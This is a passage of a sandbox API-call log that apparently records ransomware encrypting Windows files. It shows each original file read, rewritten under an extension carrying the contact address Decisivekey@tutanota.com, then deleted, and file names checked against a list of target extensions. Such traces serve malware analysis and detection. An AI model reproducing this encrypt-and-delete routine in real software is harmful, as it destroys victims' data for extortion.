Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0224.102] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.102] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0224.103] GetLastError () returned 0x0 [0224.103] ReadFile (in: hFile=0x22c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x26d80, lpOverlapped=0x0) returned 1 [0224.234] WriteFile (in: hFile=0x21c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x26d90, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x26d90, lpOverlapped=0x0) returned 1 [0224.237] ReadFile (in: hFile=0x22c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.237] WriteFile (in: hFile=0x21c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0224.237] SetEndOfFile (hFile=0x21c) returned 1 [0224.237] CloseHandle (hObject=0x21c) returned 1 [0224.237] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.237] SetEndOfFile (hFile=0x22c) returned 1 [0224.239] CloseHandle (hObject=0x22c) returned 1 [0224.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.239] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll")) returned 1 [0224.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0224.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0224.239] lstrlenW (lpString=".doc") returned 4 [0224.239] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.239] lstrlenW (lpString=".docx") returned 5 [0224.239] lstrcmpiW (lpString1=".docx", lpString2="K.DLL") returned -1 [0224.239] lstrlenW (lpString=".pdf") returned 4 [0224.239] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.239] lstrlenW (lpString=".xls") returned 4 [0224.239] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.239] lstrlenW (lpString=".xlsx") returned 5 [0224.239] lstrcmpiW (lpString1=".xlsx", lpString2="K.DLL") returned -1 [0224.239] lstrlenW (lpString=".ppt") returned 4 [0224.239] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0224.239] lstrlenW (lpString=".zip") returned 4 [0224.239] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.239] lstrlenW (lpString=".rar") returned 4 [0224.239] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.239] lstrlenW (lpString=".bz2") returned 4 [0224.239] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.239] lstrlenW (lpString=".7z") returned 3 [0224.239] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0224.239] lstrlenW (lpString=".dbf") returned 4 [0224.239] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0224.239] lstrlenW (lpString=".1cd") returned 4 [0224.240] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0224.240] lstrlenW (lpString=".jpg") returned 4 [0224.240] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0224.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0224.240] lstrlenW (lpString=".doc") returned 4 [0224.240] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.240] lstrlenW (lpString=".docx") returned 5 [0224.240] lstrcmpiW (lpString1=".docx", lpString2="K.DLL") returned -1 [0224.240] lstrlenW (lpString=".pdf") returned 4 [0224.240] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.240] lstrlenW (lpString=".xls") returned 4 [0224.240] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.240] lstrlenW (lpString=".xlsx") returned 5 [0224.240] lstrcmpiW (lpString1=".xlsx", lpString2="K.DLL") returned -1 [0224.240] lstrlenW (lpString=".ppt") returned 4 [0224.240] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0224.240] lstrlenW (lpString=".zip") returned 4 [0224.240] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.240] lstrlenW (lpString=".rar") returned 4 [0224.240] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.240] lstrlenW (lpString=".bz2") returned 4 [0224.240] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.240] lstrlenW (lpString=".7z") returned 3 [0224.240] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0224.240] lstrlenW (lpString=".dbf") returned 4 [0224.240] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0224.240] lstrlenW (lpString=".1cd") returned 4 [0224.240] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0224.240] lstrlenW (lpString=".jpg") returned 4 [0224.240] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.241] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0224.241] lstrlenW (lpString="IMCONTACT.DLL") returned 13 [0224.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0224.241] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=101248) returned 1 [0224.241] CloseHandle (hObject=0x22c) returned 1 [0224.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll")) returned 0x20 [0224.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0224.241] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.241] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0224.242] GetLastError () returned 0x0 [0224.242] ReadFile (in: hFile=0x22c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x18b80, lpOverlapped=0x0) returned 1 [0224.263] WriteFile (in: hFile=0x21c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x18b90, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x18b90, lpOverlapped=0x0) returned 1 [0224.265] ReadFile (in: hFile=0x22c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.265] WriteFile (in: hFile=0x21c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0224.265] SetEndOfFile (hFile=0x21c) returned 1 [0224.265] CloseHandle (hObject=0x21c) returned 1 [0224.265] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.265] SetEndOfFile (hFile=0x22c) returned 1 [0224.266] CloseHandle (hObject=0x22c) returned 1 [0224.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.267] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll")) returned 1 [0224.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0224.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0224.267] lstrlenW (lpString=".doc") returned 4 [0224.267] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.267] lstrlenW (lpString=".docx") returned 5 [0224.267] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0224.267] lstrlenW (lpString=".pdf") returned 4 [0224.267] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.267] lstrlenW (lpString=".xls") returned 4 [0224.267] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.267] lstrlenW (lpString=".xlsx") returned 5 [0224.267] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0224.267] lstrlenW (lpString=".ppt") returned 4 [0224.267] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0224.267] lstrlenW (lpString=".zip") returned 4 [0224.267] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.267] lstrlenW (lpString=".rar") returned 4 [0224.267] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.267] lstrlenW (lpString=".bz2") returned 4 [0224.267] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.267] lstrlenW (lpString=".7z") returned 3 [0224.267] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0224.267] lstrlenW (lpString=".dbf") returned 4 [0224.267] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0224.267] lstrlenW (lpString=".1cd") returned 4 [0224.267] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0224.267] lstrlenW (lpString=".jpg") returned 4 [0224.268] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0224.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0224.268] lstrlenW (lpString=".doc") returned 4 [0224.268] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.268] lstrlenW (lpString=".docx") returned 5 [0224.268] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0224.268] lstrlenW (lpString=".pdf") returned 4 [0224.268] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.268] lstrlenW (lpString=".xls") returned 4 [0224.268] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.268] lstrlenW (lpString=".xlsx") returned 5 [0224.268] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0224.268] lstrlenW (lpString=".ppt") returned 4 [0224.268] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0224.268] lstrlenW (lpString=".zip") returned 4 [0224.268] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.268] lstrlenW (lpString=".rar") returned 4 [0224.268] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.268] lstrlenW (lpString=".bz2") returned 4 [0224.268] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.268] lstrlenW (lpString=".7z") returned 3 [0224.268] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0224.268] lstrlenW (lpString=".dbf") returned 4 [0224.268] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0224.268] lstrlenW (lpString=".1cd") returned 4 [0224.268] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0224.268] lstrlenW (lpString=".jpg") returned 4 [0224.268] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.269] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=364928) returned 1 [0224.269] CloseHandle (hObject=0x22c) returned 1 [0224.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll")) returned 0x20 [0224.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0224.269] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.269] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0224.270] GetLastError () returned 0x0 [0224.270] ReadFile (in: hFile=0x22c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x59180, lpOverlapped=0x0) returned 1 [0224.521] WriteFile (in: hFile=0x21c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x59190, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x59190, lpOverlapped=0x0) returned 1 [0224.526] ReadFile (in: hFile=0x22c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.526] WriteFile (in: hFile=0x21c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0224.526] SetEndOfFile (hFile=0x21c) returned 1 [0224.893] CloseHandle (hObject=0x21c) returned 1 [0224.893] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.893] SetEndOfFile (hFile=0x22c) returned 1 [0224.896] CloseHandle (hObject=0x22c) returned 1 [0224.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.896] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll")) returned 1 [0225.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0225.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0225.405] lstrlenW (lpString=".doc") returned 4 [0225.405] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0225.405] lstrlenW (lpString=".docx") returned 5 [0225.405] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0225.405] lstrlenW (lpString=".pdf") returned 4 [0225.405] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0225.405] lstrlenW (lpString=".xls") returned 4 [0225.405] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0225.405] lstrlenW (lpString=".xlsx") returned 5 [0225.405] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0225.405] lstrlenW (lpString=".ppt") returned 4 [0225.405] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0225.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0225.405] lstrlenW (lpString=".zip") returned 4 [0225.405] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0225.405] lstrlenW (lpString=".rar") returned 4 [0225.405] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0225.405] lstrlenW (lpString=".bz2") returned 4 [0225.405] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0225.405] lstrlenW (lpString=".7z") returned 3 [0225.405] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0225.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0225.405] lstrlenW (lpString=".dbf") returned 4 [0225.405] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0225.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0225.405] lstrlenW (lpString=".1cd") returned 4 [0225.405] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0225.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0225.405] lstrlenW (lpString=".jpg") returned 4 [0225.405] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0225.406] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.406] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0225.407] GetLastError () returned 0x0 [0225.407] ReadFile (in: hFile=0x168, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x46b70, lpOverlapped=0x0) returned 1 [0225.435] WriteFile (in: hFile=0x224, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x46b80, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x46b80, lpOverlapped=0x0) returned 1 [0225.439] ReadFile (in: hFile=0x168, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.439] WriteFile (in: hFile=0x224, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0225.439] SetEndOfFile (hFile=0x224) returned 1 [0225.439] CloseHandle (hObject=0x224) returned 1 [0225.439] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.440] SetEndOfFile (hFile=0x168) returned 1 [0225.442] CloseHandle (hObject=0x168) returned 1 [0225.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.442] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv")) returned 1 [0225.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0225.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0225.442] lstrlenW (lpString=".doc") returned 4 [0225.442] lstrcmpiW (lpString1=".doc", lpString2=".CNV") returned 1 [0225.443] lstrlenW (lpString=".docx") returned 5 [0225.443] lstrcmpiW (lpString1=".docx", lpString2="2.CNV") returned -1 [0225.443] lstrlenW (lpString=".pdf") returned 4 [0225.443] lstrcmpiW (lpString1=".pdf", lpString2=".CNV") returned 1 [0225.443] lstrlenW (lpString=".xls") returned 4 [0225.443] lstrcmpiW (lpString1=".xls", lpString2=".CNV") returned 1 [0225.443] lstrlenW (lpString=".xlsx") returned 5 [0225.443] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNV") returned -1 [0225.443] lstrlenW (lpString=".ppt") returned 4 [0225.443] lstrcmpiW (lpString1=".ppt", lpString2=".CNV") returned 1 [0225.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0225.443] lstrlenW (lpString=".zip") returned 4 [0225.443] lstrcmpiW (lpString1=".zip", lpString2=".CNV") returned 1 [0225.443] lstrlenW (lpString=".rar") returned 4 [0225.443] lstrcmpiW (lpString1=".rar", lpString2=".CNV") returned 1 [0225.443] lstrlenW (lpString=".bz2") returned 4 [0225.443] lstrcmpiW (lpString1=".bz2", lpString2=".CNV") returned -1 [0225.443] lstrlenW (lpString=".7z") returned 3 [0225.443] lstrcmpiW (lpString1=".7z", lpString2="CNV") returned -1 [0225.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0225.443] lstrlenW (lpString=".dbf") returned 4 [0225.443] lstrcmpiW 